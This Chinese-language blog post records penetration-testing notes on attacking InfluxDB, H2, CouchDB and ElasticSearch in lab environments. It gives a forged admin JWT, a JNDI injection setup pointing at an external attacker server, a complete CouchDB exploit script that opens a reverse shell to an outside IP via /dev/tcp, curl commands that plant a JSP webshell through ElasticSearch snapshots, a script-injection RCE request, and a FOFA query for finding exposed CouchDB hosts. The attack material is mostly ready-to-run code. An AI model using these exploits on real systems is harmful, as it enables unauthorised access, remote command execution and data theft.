chenhongl

导航

 

 

#知识点:
1、服务攻防-数据库类型安全
2、influxdb-未授权访问-jwt验证
3、H2database-未授权访问-配置不当
4、CouchDB-权限绕过配合RCE-漏洞
5、ElasticSearch-文件写入&RCE-漏洞
这些数据库在特定的环境上用到,特用的程序固定的。使用面不广,但是有一定的应用价值。会根据应用功能选择数据库。

#章节内容:
常见服务应用的安全测试:
1、配置不当-未授权访问
2、安全机制-特定安全漏洞
3、安全机制-弱口令爆破攻击

#前置知识:
应用服务安全测试流程:见图
1、判断服务开放情况-端口扫描&组合应用等
2、判断服务类型归属-数据库&文件传输&通讯等
3、判断服务利用方式-特定漏洞&未授权&弱口令等

 

一、Influxdb数据库-未授权访问-Jwt验证不当

InfluxDB 是一个时间序列数据库(TSDB),由GO语言写成,被设计用来处理高写入、高查询负载,是 TICK 的一部分。与mysql应用价值是不一样的。
默认端口:8086 8088
influxdb使用jwt作为用户鉴权方式。在用户开启了认证,但未设置参数shared-secret的情况下,jwt的认证密钥为空字符串,此时攻击者可以伪造任意用户身份在influxdb中执行SQL语句。空加密秘钥串。

启动环境:
cd vulhub-master/influxdb/unacc/
docker-compose up -d

① 端口扫描:
nmap 192.168.233.128

发现8086端口是开放的

 

参考,influxdb未授权访问漏洞:https://blog.csdn.net/weixin_43416469/article/details/113843301

利用路线:​ Influxdb http query接口—> 生成jwt凭证绕过认证 —>任意sql语句执行

影响版本:Influxdb < 1.7.6

 

② 访问:192.168.233.128:8086/debug/vars,查看能不能访问到系统的服务信息,如果能 则可能存在漏洞.

③ 未登录管理员账号,直接访问查看用户信息的页面:192.168.233.128:8086/query
POST data:db=sample&q=show+users     //意思是:显示 数据库中的用户
发现提示没有权限:

④ 访问时抓包

⑤ 通过 JSON Web Tokens - jwt.io 生成所需要的 Token

{
  "alg": "HS256",
  "typ": "JWT"
}
 
{
  "username": "admin",
  "exp": 3751718877

注意:

  ① username需要已存在的用户才行,所以使用 admin 用户就好;

  ② exp是时间戳 ,这个时间戳一定要是未来的时间才行,这里生成了一个 2088 年的时间戳(所以我下面的Encoded值可以直接用)

   在线时间戳,转换器:https://www.beijing-time.org/shijianchuo/

 

复制上面的内容,生成需要的JWT(这个地方密钥可以为空,所以导致的漏洞)

 



注意在秘钥哪里需要留空。
生成:eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMjM0NTY3ODkwIiwidXNlcm5hbWUiOiJhZG1pbiIsImV4cCI6Mzc1MTcxODg3N30.oy0NABqi_9Hz9DaODnE8QwD5Kr74jb3_h26smyhwgDE

 

 

 ⑥ 抓包,然后修改数据包,重新发包,就可以查询到用户信息了

添加到数据包:

Authorization: Bearer

eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6ImFkbWluIiwiZXhwIjoxNjc2MzQ2MjY3fQ.NPhb55F0tpsp5X5vcN_IkAAGDfNzV5BA6M4AThhxz6A

 

 二、H2 database-未授权访问-配置不当

与redis配置是一样的
web端口:8080
默认端口:20051
H2 是一个利用Java开发的嵌入式数据库,多用于单元测试。H2 database自带一个Web管理页面,在Spirng开发中,如果我们设置如下选项,即可允许外部用户访问Web管理页面,且没有鉴权,配置

 

如下:
spring.h2.console.enabled=true
spring.h2.console.settings.web-allow-others=true

利用到的工具是java内置的攻击:JNDI攻击。这个是由于java内置的语言不同特性决定的。java网站运行有两种情况:1.自写源代码来进行运行 2.运行jar包,java是一种可编译语言,代码运行后会有一个文件

利用流程是:
  1.下载利用文件
  2.利用这个文件去生成一个payload
  3.让这个地址去加载远程文件。

启动环境:
cd /vulhub-master/h2database/h2-console-unacc
docker-compose up -d

利用这个管理页面,我们可以进行JNDI注入攻击,进而在目标环境下执行任意命令。
1、下载JNDI-Injection-Exploit
https://github.com/welk1n/JNDI-Injection-Exploit

2、生成执行RMI Payload-URL
-C 执行命令 -A 服务器地址
java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C touch /tmp/success -A 175.178.151.29 (运行JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar包)# 175.178.151.297为攻击地址

 

会生成几个地址,一般选取:rmi://175.178.151.29:1099/ksvyoy

然后打开特定地址:http://192.168.233.128:8080/h2-console/login.jsp?jsessionid=8cdecf52152246fdd719b88eb2a891d7

把rmi://175.178.151.29:1099/ksvyoy写到JDBC URL 
把javax.naming.InitialContext写到Driver Class

 

但是这里失败了,需要在外网服务器上执行这个jar包,才可以成功。

 

监听:

 

在tmp目录下就多出了一个文件目录,因为这个命令是创建一个目录的命令

 

 三、CouchDB-权限绕过配合RCE-漏洞

默认端口:5984
Apache CouchDB是一个开源数据库,用来存储文档,专注于易用性和成为"完全拥抱web的数据库"。它是一个使用JSON作为存储格式,JavaScript作为查询语言,MapReduce和HTTP作为API的NoSQL数据库。应用广泛,如BBC用在其动态内容展示平台,Credit Suisse用在其内部的商品部门的市场框架,Meebo,用在其社交平台(web和应用程序)专门用来存储文档的数据库

影响版本:小于1.7.0以及小于2.1.1


fofa搜索使用这个数据库的网站:"CouchDB"&&port="5984"

 

未授权

启动环境:(未授权)
/vulhub-master/couchdb/CVE-2017-12635
docker-compose up -d

访问地址:http://192.168.233.128:5984/

 

访问特定地址:http://192.168.233.128:5984/_users/org.couchdb.user:vulhub
POST提交:
{
  "type": "user",
  "name": "vulhub",
  "roles": ["_admin"],
  "roles": [],
  "password": "vulhub"
}

返回添加失败

 

然后在修改提交方式PUT,完成添加密码。

 

访问:http://192.168.233.128:5984/_utils/
输入账号密码:vulhub,vulhub 登录成功。

 

RCE执行

启动环境:
/vulhub-master/couchdb/CVE-2017-12636
docker-compose up -d

1、下载exp.py
2、修改目标和反弹地址
3、Python3调用执行即可

exp.py下载:https://github.com/vulhub/vulhub/blob/master/couchdb/CVE-2017-12636/exp.py
exp.py代码:

#!/usr/bin/env python3
import requests
import json
import base64
from requests.auth import HTTPBasicAuth

target = 'http://192.168.233.128:5984'
command = rb"""sh -i >& /dev/tcp/175.178.151.29/5566 0>&1"""
version = 1

session = requests.session()
session.headers = {
'Content-Type': 'application/json'
}
# session.proxies = {
# 'http': 'http://127.0.0.1:8085'
# }
session.put(target + '/_users/org.couchdb.user:wooyun', data='''{
"type": "user",
"name": "wooyun",
"roles": ["_admin"],
"roles": [],
"password": "wooyun"
}''')

session.auth = HTTPBasicAuth('wooyun', 'wooyun')

command = "bash -c '{echo,%s}|{base64,-d}|{bash,-i}'" % base64.b64encode(command).decode()
if version == 1:
session.put(target + ('/_config/query_servers/cmd'), data=json.dumps(command))
else:
host = session.get(target + '/_membership').json()['all_nodes'][0]
session.put(target + '/_node/{}/_config/query_servers/cmd'.format(host), data=json.dumps(command))

session.put(target + '/wooyun')
session.put(target + '/wooyun/test', data='{"_id": "wooyuntest"}')

if version == 1:
session.post(target + '/wooyun/_temp_view?limit=10', data='{"language":"cmd","map":""}')
else:
session.put(target + '/wooyun/_design/test', data='{"_id":"_design/test","views":{"wooyun":{"map":""} },"language":"cmd"}')
执行:G:\python38\python.exe exp.py
监听:nc-lvvp 5566

 

四、ElasticSearch-文件写入&RCE-漏洞

默认端口:9200 9300

ElasticSearch一般在蓝队中,配合kibana一起搭建,用于日志分析、溯源等。

 

有三个漏洞

1、文件写入-Elasticsearch 文件写入 wooyun_2015_110216

启动环境:http://vulfocus.io/#/dashboard

前提条件:9200一般为ElasticSearch的常用端口,此漏洞环境需要与中间件使用
  1、发现9200端口存在elasticsearch页面,8080存在tomcat目录,需要配合网站中间件
  2、利用ElasticSearch写入后门到/usr/local/tomcat/webapps/wwwroot/(tomocat安装目录)

① 直接执行命令:
curl -XPOST http://123.58.236.76:31619/yz.jsp/yz.jsp/1 -d'
{"<%new java.io.RandomAccessFile(application.getRealPath(new String(new byte[]{47,116,101,115,116,46,106,115,112})),new String(new byte[]{114,119})).write(request.getParameter(new String(new byte[]{102})).getBytes());%>":"test"}
'
curl -XPUT 'http://123.58.236.76:31619/_snapshot/yz.jsp' -d '{
"type": "fs",
"settings": {
  "location": "/usr/local/tomcat/webapps/wwwroot/",
  "compress": false
  }
}'

curl -XPUT "htt31620p://123.58.236.76:31619/_snapshot/yz.jsp/yz.jsp" -d '{
  "indices": "yz.jsp",
  "ignore_unavailable": "true",
  "include_global_state": false
}'

 

② 访问8080端口snapshot-yz.jsp文件写入代码到test.jsp中
http://123.58.236.76:31620/wwwroot/indices/yz.jsp/snapshot-yz.jsp?f=success
success是需要写入的后门
http://123.58.236.76:31620/wwwroot/test.jsp

 

2、RCE执行漏洞 - Elasticsearch RCE CVE-2014-3120

① 漏洞需要es中至少存在一条数据,所以我们需要先创建一条数据
抓包,替换一下数据包:
POST /website/blog/ HTTP/1.1
Host: 123.58.236.76:58532
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 25

{
  "name": "xiaodi"
}

 

 

② 直接发包触发执行命令
POST /_search?pretty HTTP/1.1
Host: 123.58.236.76:58532
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 343

{
  "size": 1,
    "query": {
      "filtered": {
        "query": {
        "match_all": {
        }
      }
    }
  },
"script_fields": {
  "command": {
    "script": "import java.io.*;new java.util.Scanner(Runtime.getRuntime().exec(\"id\").getInputStream()).useDelimiter(\"\\\\A\").next();"
    }
  }
}

返回root

 

posted on 2024-07-08 16:37  chenhongl  阅读(62)  评论(0)    收藏  举报